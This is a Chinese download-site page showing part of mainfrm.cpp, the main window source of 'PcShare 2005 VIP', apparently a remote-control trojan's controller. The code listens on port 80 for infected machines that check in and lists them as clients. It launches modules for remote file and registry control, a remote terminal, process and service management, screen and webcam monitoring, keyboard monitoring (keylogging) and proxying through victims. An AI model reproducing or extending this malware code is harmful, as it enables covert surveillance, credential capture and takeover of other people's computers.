⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 mainfrm.cpp

📁 PC share 2005 vip源代码
💻 CPP
📖 第 1 页 / 共 2 页
字号:
	sprintf(m_Text,"本机IP地址列表:【%s】",
		m_AddrList.Left(m_AddrList.GetLength() - 1));
	ShowMyText(m_Text,FALSE);
	wsprintf(m_Text,"PcShare2005(VIP版本)-主控界面: %s",
		m_AddrList.Left(m_AddrList.GetLength() - 1));
	SetWindowText(m_Text);

	//打开上线侦听端口
	char m_sPortMain[100] = {0};
	GetPrivateProfileString("设置","自动上线连接端口",
		"80",m_sPortMain,99,m_IniFileName);
	m_MainSocket = StartTcp(atoi(m_sPortMain));
	if(m_MainSocket	== NULL)
	{
		ShowMyText("控制端口被占用,初始化失败,请关闭iis服务!",TRUE);
		return ;
	}
	wsprintf(m_Text,"本机侦听端口【%s】",m_sPortMain);
	ShowMyText(m_Text,FALSE);

	//启动侦听线程
	ShowMyText("初始化成功,等待客户连接",FALSE);
	UINT m_Id = 0;
	_beginthreadex(NULL,0,MyMainThread,(LPVOID) m_MainSocket,0,&m_Id);
}

void CMainFrame::ShowMyText(LPCTSTR Text,BOOL Flag)
{
	pEventView->InsertItem(Text,Flag);
}

void CMainFrame::OnClose() 
{
	StopWork();
	CFrameWnd::OnClose();
}

BOOL CALLBACK EnumWindowsProc(HWND hwnd, LPARAM lParam)
{
	char m_Title[256] = {0};
	::GetWindowText(hwnd,m_Title,250);
	if(!memcmp(m_Title,"PCSHARE",7) &&
		strchr(m_Title,'-') != NULL)
	{
		::SendMessage(hwnd,WM_CLOSE,0,0);
	}
	return TRUE;
}
void CMainFrame::StopWork()
{
	CWaitCursor m_Cur;
	m_MainValue.m_IsMainExit = TRUE;
	EnumWindows(EnumWindowsProc,NULL);

	//关闭套接字
	closesocket(m_MainSocket);
	pClientListView->StopWork();
	m_Cur.Restore();
}

LRESULT CMainFrame::OnMyItemChanged(WPARAM wParam,LPARAM lParam)
{
	return TRUE;
}

LRESULT CMainFrame::OnCloseItem(WPARAM wParam,LPARAM lParam)
{
	if(WSAGETSELECTEVENT(lParam) == FD_CLOSE)
	{
		DWORD pClientItem = 
			pClientListView->CloseClient((SOCKET) wParam);
	}
	return TRUE;
}

void CMainFrame::OnUpdatePane(CCmdUI *pCmdUI)  
{
	char m_Text[256];
	sprintf(m_Text,"当前连接客户%d个",
		pClientListView->GetListCtrl().GetItemCount());
	pCmdUI->SetText(m_Text);
}

LRESULT CMainFrame::OnMainRClick(WPARAM wParam,LPARAM lParam)
{
	CPoint m_point;
	CNewMenu m_menu;
	m_menu.LoadMenu(wParam);
	GetCursorPos(&m_point);
	SetForegroundWindow();   
	m_menu.GetSubMenu(0)->
		TrackPopupMenu(TPM_LEFTALIGN|
		TPM_RIGHTBUTTON,
		m_point.x,m_point.y,this);
	m_menu.DestroyMenu();	
	return TRUE;
}

void CMainFrame::ProcessCmd(SOCKET s, UINT Command,char *pExterndata,int len)
{
	CWaitCursor m_Cur;
	CMDINFO m_CmdInfo = {0};
	m_CmdInfo.m_Command = Command;
	if(pExterndata != NULL)
		m_CmdInfo.m_DataLen = len;

	//关闭事件通知
	WSAAsyncSelect(s,GetSafeHwnd(), 0, 0);
	ULONG icmd = 0;   
    if(ioctlsocket(s,FIONBIO,&icmd))
	{
		PostMessage(WM_COMMAND,
			MAKEWPARAM(ID_CLIENT_DELETE,1),NULL);
		closesocket(s);
		m_Cur.Restore();
		return;
	}

	if(!SendData(s,(char*) &m_CmdInfo,
		sizeof(CMDINFO)))
	{
		PostMessage(WM_COMMAND,
			MAKEWPARAM(ID_CLIENT_DELETE,1),NULL);
		closesocket(s);
		m_Cur.Restore();
		return;
	}

	if(pExterndata != NULL)
	{
		if(!SendData(s,pExterndata,
			m_CmdInfo.m_DataLen))
		{
			PostMessage(WM_COMMAND,
				MAKEWPARAM(ID_CLIENT_DELETE,1),NULL);
			closesocket(s);
			m_Cur.Restore();
			return;
		}
	}

	//启动事件通知
	if(WSAAsyncSelect(s,GetSafeHwnd(),
		WM_CLOSEITEM,FD_CLOSE) == SOCKET_ERROR)
	{
		PostMessage(WM_COMMAND,
			MAKEWPARAM(ID_CLIENT_DELETE,1),NULL);
		closesocket(s);
		m_Cur.Restore();
		return;
	}
	m_Cur.Restore();
}

void CMainFrame::DeleteCurItem()
{
	pClientListView->DeleteCurItem();
}

void CMainFrame::ResizeWnd()
{
	pEventView->SendMessage(WM_RESIZE_WND,0,0);
	pClientListView->SendMessage(WM_RESIZE_WND,0,0);
}

void CMainFrame::OnListDeleteItem() 
{
	int nCount = pEventView->GetListCtrl().GetSelectedCount();
	for(int  i = 0; i < nCount; i++)
	{
		int nItem = pEventView->GetListCtrl().
			GetNextItem(-1,LVNI_SELECTED);
		pEventView->GetListCtrl().DeleteItem(nItem);
	}
	pEventView->SendMessage(WM_RESIZE_WND,0,0);
}

void CMainFrame::OnUpdateListDeleteItem(CCmdUI* pCmdUI) 
{
	pCmdUI->Enable(pEventView->GetListCtrl().GetSelectedCount() > 0);
}

void CMainFrame::OnListEmptyItem() 
{
	pEventView->GetListCtrl().DeleteAllItems();	
	pEventView->SendMessage(WM_RESIZE_WND,0,0);
}

void CMainFrame::OnUpdateListEmptyItem(CCmdUI* pCmdUI) 
{
	pCmdUI->Enable(pEventView->GetListCtrl().GetItemCount() > 0);
}

void CMainFrame::OnSaveListLog() 
{
	CString szFilter = "日志文件(*.txt)|*.txt|";
	CFileDialog m_filedialog(FALSE,NULL,"pslog.txt",
		OFN_HIDEREADONLY | OFN_OVERWRITEPROMPT,szFilter,this);
	if(m_filedialog.DoModal()!=IDOK) return;

	CFile m_File(m_filedialog.GetPathName(),
		CFile::modeCreate|CFile::modeWrite);
	int nCount = pEventView->GetListCtrl().GetSelectedCount();
	for(int  i = 0; i < pEventView->
		GetListCtrl().GetItemCount(); i++)
	{
		char m_Text[512] = {0};
		sprintf(m_Text,"发生时间:%s 事件内容:%s\r\n",
			pEventView->GetListCtrl().GetItemText(i,0),
			pEventView->GetListCtrl().GetItemText(i,1));
		m_File.Write(m_Text,strlen(m_Text));
	}
	m_File.Close();
}

void CMainFrame::OnUpdateSaveListLog(CCmdUI* pCmdUI) 
{
	pCmdUI->Enable(pEventView->GetListCtrl().GetItemCount() > 0);
}

void CMainFrame::OnClientFileManager() 
{
	StartChildWork(pClientListView->GetCurSel(), "文件管理", CLIENT_FILES_START, "PcFile.exe");
}

void CMainFrame::OnUpdateClientFileManager(CCmdUI* pCmdUI) 
{
	pCmdUI->Enable(pClientListView->GetCurSel() != NULL);
}

void CMainFrame::OnFrameMonitor() 
{
	StartChildWork(pClientListView->GetCurSel(), "屏幕监控", CLIENT_FRAME_START, "PcFrame.exe");
}

void CMainFrame::OnUpdateFrameMonitor(CCmdUI* pCmdUI) 
{
	pCmdUI->Enable(pClientListView->GetCurSel() != NULL);
}

void CMainFrame::OnRegEdit() 
{
	StartChildWork(pClientListView->GetCurSel(), "注册表管理", CLIENT_REGEDIT_START, "PcRegedit.exe");
}

void CMainFrame::OnUpdateRegEdit(CCmdUI* pCmdUI) 
{
	pCmdUI->Enable(pClientListView->GetCurSel() != NULL);
}

void CMainFrame::OnModifyTitle() 
{
	LPCLIENTITEM pItem = pClientListView->GetCurSel();
	if(!pItem) return;	

	char m_LogFileName[256] = {0};
	GetModuleFileName(NULL,m_LogFileName,250);
	char *p = strrchr(m_LogFileName,'.');
	*p = 0;
	strcat(m_LogFileName,".log");

	char m_Name[256] = {0};
	GetPrivateProfileString("客户注释",pItem->m_SysInfo.ID,
		pItem->m_SysInfo.m_PcName,m_Name,255,m_LogFileName);

	CMyClientTitleDlg dlg(m_Name);
	if(dlg.DoModal() != IDOK) return;
	WritePrivateProfileString("客户注释",pItem->m_SysInfo.ID,
		dlg.m_Title,m_LogFileName);
	pClientListView->SetItemInfo(dlg.m_Title.LockBuffer() , pItem->m_SysInfo.ID);
}

void CMainFrame::OnUpdateModifyTitle(CCmdUI* pCmdUI) 
{
	pCmdUI->Enable(pClientListView->GetListCtrl().GetSelectedCount() == 1);	
}

void CMainFrame::StartChildWork(LPCLIENTITEM pItem, char* pTitle, UINT nCmd,char* pExeName)
{
	if(!pItem) return;

	char m_Text[256] = {0};
	sprintf(m_Text,"PCSHARE%s-%s", pTitle, pItem->m_Title);
	HWND hWnd = ::FindWindow(NULL,m_Text);
	if(hWnd)
	{
		::BringWindowToTop(hWnd);
		return;
	}

	char* pFind = strrchr(m_Text,':');
	if(pFind != NULL) *pFind = 0;

	//启动新的子进程
	char m_AppName[512] = {0};
	char m_FileName[256];
	strcpy(m_FileName, pExeName);
	GetMyFilePath(m_FileName);
	sprintf(m_AppName,"%s %s:%s",m_FileName,m_Text,pItem->m_SysInfo.ID);

	STARTUPINFO st = {0};
	st.cb = sizeof(STARTUPINFO);
	PROCESS_INFORMATION pi = {0};
	if(!CreateProcess(NULL , m_AppName , NULL , 
		NULL , TRUE , 0 , NULL , NULL , &st , &pi))
		return;
	
	ExecCmd(pItem->m_WorkSocket , nCmd , 0);
}

void CMainFrame::OnTlnt()
{
	StartChildWork(pClientListView->GetCurSel(), "超级终端", CLIENT_TLNT_START, "PcTlnt.exe");
}

void CMainFrame::OnUpdateTlnt(CCmdUI *pCmdUI)
{
	pCmdUI->Enable(pClientListView->GetCurSel() != NULL);
}

void CMainFrame::OnProc()
{
	StartChildWork(pClientListView->GetCurSel(), "进程管理", CLIENT_PROC_START, "PcProc.exe");
}

void CMainFrame::OnUpdateProc(CCmdUI *pCmdUI)
{
	pCmdUI->Enable(pClientListView->GetCurSel() != NULL);
}

void CMainFrame::OnService()
{
	StartChildWork(pClientListView->GetCurSel(), "服务管理", CLIENT_SERVICE_START, "PcService.exe");
}

void CMainFrame::OnUpdateService(CCmdUI *pCmdUI)
{
	pCmdUI->Enable(pClientListView->GetCurSel() != NULL);
}

void CMainFrame::OnMulit()
{
	StartChildWork(pClientListView->GetCurSel(), "视频监控", CLIENT_MULIT_START, "PcMulit.exe");
}

void CMainFrame::OnUpdateMulit(CCmdUI *pCmdUI)
{
	pCmdUI->Enable(pClientListView->GetCurSel() != NULL);
}
void CMainFrame::OnMonitorKey()
{
	StartChildWork(pClientListView->GetCurSel(), "键盘监控", CLIENT_KEYMON_START, "PcKeyMon.exe");
}

void CMainFrame::OnUpdateMonitorKey(CCmdUI *pCmdUI)
{
	pCmdUI->Enable(pClientListView->GetCurSel() != NULL);
}

BOOL CMainFrame::PreCreateWindow(CREATESTRUCT& cs) 
{
	CFrameWnd::PreCreateWindow(cs);
	cs.style ^= WS_MAXIMIZE;   
	cs.dwExStyle &= ~WS_EX_CLIENTEDGE;
	cs.lpszClass = AfxRegisterWndClass(
		CS_VREDRAW | CS_HREDRAW,
		LoadCursor(NULL, IDC_ARROW),
		(HBRUSH) GetStockObject(WHITE_BRUSH),
		AfxGetApp()->LoadIcon(IDR_MAINFRAME));
	return TRUE;	
}

void CMainFrame::OnClientProxy() 
{
	LPCLIENTITEM pItem = pClientListView->GetCurSel();
	if(!pItem) return;	

	CMyClientProxy dlg;
	if(dlg.DoModal() != IDOK) return;

	ExecCmd(pItem->m_WorkSocket , CLIENT_PROXY , dlg.m_Port);
}

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -